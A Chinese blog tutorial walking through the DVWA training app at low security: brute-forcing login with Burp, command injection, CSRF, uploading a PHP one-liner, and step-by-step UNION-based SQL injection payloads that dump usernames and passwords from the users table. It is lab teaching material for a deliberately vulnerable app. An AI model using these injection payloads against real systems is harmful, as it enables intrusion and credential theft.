首页 > 其他分享 >dvwa(low)等级教程(上)

dvwa(low)等级教程(上)

时间:2023-05-16 17:14:29浏览次数:35  
标签:教程 union dvwa 密码 报错 low order 输入

  1. 暴力破解

首先我们假装知道用户名和密码,之后我们不在dvwa中输入,如果直接输入就没意义了,在dvwa中随便输入账户名和密码,之后利用bp进行抓包。这里我用户名输入的123密码123

之后让bp对其进行拦截

 

之后发送到include模块,这里要爆破账户名和密码所以爆破类型选择急速炸弹,之后选择先清除$,之后在在想要爆破的哪里添加这个$这里我们要爆破他的用户名和密码所以就在那里添加$,之后再点击payload

条目这里什么都可以但必须有你真是的账户名和密码之后点击开始攻击,这里长度不一样的就是我们真正的账户名和密码了可以点击看一下这就是成功的页面

 

2.命令注入

 

 

这里输入一个ip127.0.0.1这个是dvwa的之后在命令行ping一下虚拟级的ip看能不能ping通。

之后输入一个拼接命令符号再加上所需要执行的命令

 

 

这里我们可以看到用户名为administrator

 还可以看一下ip.

 

 

 

3跨站请求·(csrf)

简单说一下CSRF跨站请求伪造,黑客诱导用户点击带有伪造请求(修改密码,转账,删除文章等高风险操作请求)链接后,利用未失效的用户认证信息,产生服务器验证请求通过,导致用户在不知名的情况下进行了转账等操作。

这里进去改一下登陆密码随便什么能记住就可以

 

之后会显示已经成功修改

 

 

4.文件上传漏洞(file upload)

这里创建一个文本文件在里面写入一句话把后缀名改为。Php之后保存点击上传

 

显示一句话上传成功,也可以看一下他的源码。

(5)sql注入

(1)判断注入类型,是数字型注入,还是字符型注入

我们输入1,看到正确返回值

 

 

我们输入1',看到报错了

 

 

 

我们可以猜出到是字符型注入,我们继续输入1' and '1' ='1和1' and '1'='2。

 

 

 

 

 我们根据id=1’报错和id=1’ and ‘1’=’1正确,我们可以知道是字符型注入,查看源代码知道就是字符型注入。

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1' order by 1#没有报错

 

 

 id=1' order by 2# 没有报错

 

 

 id=1' order by 3#时报错了,说明字段只有2列

 

 

 

(3)判断回显位置 union select 1,2#

 

 

 可以知道回显位置 在这二个地方

 

(4)判断数据库  union select 1,database()#

 

 

(5)获取表名          1'  union select 1,group_concat(table_name) from information_schema.tables where 获取字段名 tables_schema=database()#

 

(6获得字段名1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

 

(7)获取数据    1' union select user,password from users #

 

 

标签:教程,union,dvwa,密码,报错,low,order,输入
From: https://www.cnblogs.com/jiajia521/p/17406198.html

相关文章

  • python 基础教程:使用jieba库对文本进行分词
    一、jieba库是什么?Python的jieba库是一个中文分词工具,它可以将一段中文文本分割成一个一个的词语,方便后续的自然语言处理任务,如文本分类、情感分析等。jieba库使用了基于前缀词典的分词方法,能够处理中文的各种复杂情况,如歧义词、新词等。它还提供了多种分词模式,如精确模式、全......
  • E840-TTL(4G05-DGC)型号4G/LTE数传模块快速入门测试教程
    亿佰特LTE数传模块E840-TTL(4G05-DGC)快速入门测试教程E840-TTL(4G05-DGC)是亿佰特推出的4G/LTE数传模块产品,是为实现串口设备与网络服务器,通过网络相互传输数据而开发的产品,该4G/LTE数传模块产品软件功能完善,覆盖绝大多数常规应用场景,用户只需通过简单的设置,即可实现串口到网络......
  • Non-Default parameter follows default parameters
    错误解析:在设置参数的时候,不能把没有的默认的参放在有默认值的参数的后面解决措施:把没有默认数值的参数放在最前面,train放在num_users前面去def__init__(self,train,num_users,num_items,num_rate_levels,emb_dim=64):......
  • 用Fiddler、Charles和mitmproxy进行手机抓包的配置教程
    [用Fiddler、Charles和mitmproxy进行手机抓包的配置教程_程序员大飞1的博客-CSDN博客](https://blog.csdn.net/weixin_42512684/article/details/93534803)写爬虫时,有些数据pc端并不能提供我们需要的数据例如抖音,就需要对手机端数据进行抓取,目前来说比较常用的app抓包软件:Fidd......
  • Makefile基础教程:从零开始学习
    在软件开发过程中,Makefile是一个非常重要的工具,它可以帮助我们自动构建程序,管理程序依赖关系,提高开发效率。本篇博客将从基础开始,介绍Makefile的相关知识,帮助大家快速掌握Makefile的使用方法Makefile是什么Makefile是一个非常强大的构建程序工具,主要用于管理程序的依赖关系和构......
  • Intellij Idea教程_编程入门自学教程_菜鸟教程-免费教程分享
    教程简介IDEA全称IntelliJIDEA,是java编程语言的集成开发环境。IntelliJ在业界被公认为最好的Java开发工具,尤其在智能代码助手、代码自动提示、重构、JavaEE支持、各类版本工具(git、svn等)、JUnit、CVS整合、代码分析、创新的GUI设计等方面的功能可以说是超常的。IDEA是JetBra......
  • JDK安装教程(Windows)
    Windows端:1.安装        首先进入官网:https://www.oracle.com/java/technologies/javase-downloads.html        因为我已经安装了JDK8,所以我就以 JDK15 举例(平时还是建议JDK8):                        下载对应的版本  ......
  • 3D打印报错!! {"code":"key111", "msg": "Extrude below minimum temp
    问题:!!{"code":"key111","msg":"Extrudebelowminimumtemp 解决办法:在配置文件中修改:增加:min_extrude_temp:0......
  • 跨域问题解决记录Access-Control-Allow-Origin方法
      more_set_headers 'Access-Control-Allow-Origin: http://devops.opsenv.com';    more_set_headers 'Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS';    more_set_headers 'Access-Control-Allow-Headers: Authorization,DNT,......
  • 【BSP视频教程】BSP视频教程第26期:CAN/CANFD/CANopen专题,CANFD整个运行机制精讲,图文并
    视频教程汇总帖:https://www.armbbs.cn/forum.php?mod=viewthread&tid=110519 上期视频教程为大家分享了很多CAN理论方面的知识,本期视频教程我们在实战应用中学习CANFD。CANFD涉及到的知识点非常多,我们本期重点是把CANFD整个运行机制搞明白,知其然知其所以然。视频:https:/......